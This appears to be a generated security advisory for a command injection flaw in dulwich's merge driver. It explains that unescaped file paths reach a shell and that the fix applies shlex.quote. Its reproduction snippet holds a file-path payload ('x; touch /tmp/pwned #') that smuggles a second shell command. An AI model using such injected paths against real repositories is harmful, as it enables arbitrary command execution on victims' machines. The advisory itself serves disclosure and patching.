The vulnerable code is in dulwich/merge_drivers.py, lines 119–129, where the ProcessMergeDriver substitutes the file path into the command via the %P placeholder and executes it with subprocess.run(cmd, shell=True) [ref_id=1][ref_id=2]. The path originates from the merge tree in merge.py line 195, which is attacker-controllable via a malicious branch.

What the fix does

The patch [patch_id=3016211] applies shell escaping to the file path before it is substituted into the merge driver command. By using shlex.quote() (or equivalent) on the value inserted for the %P placeholder, the fix ensures that any shell metacharacters in the path are treated as literal characters rather than interpreted by the shell. This closes the command injection vector while preserving the intended functionality of the merge driver.

Preconditions

  • configThe victim must have a merge driver configured that uses the %P placeholder (e.g., in .gitconfig or .gitattributes).
  • inputThe attacker must provide a malicious branch containing file paths with shell metacharacters.
  • networkThe victim must fetch and merge the attacker-controlled branch (e.g., via a pull request or direct merge).

Reproduction

```python from dulwich.attrs import GitAttributes, Pattern from dulwich.config import ConfigDict from dulwich.merge import merge_blobs from dulwich.objects import Blob

config = ConfigDict() config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})] gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base") ours = Blob.from_string(b"ours") theirs = Blob.from_string(b"theirs")

malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path, gitattributes=gitattributes, config=config) ```

Generated on May 28, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.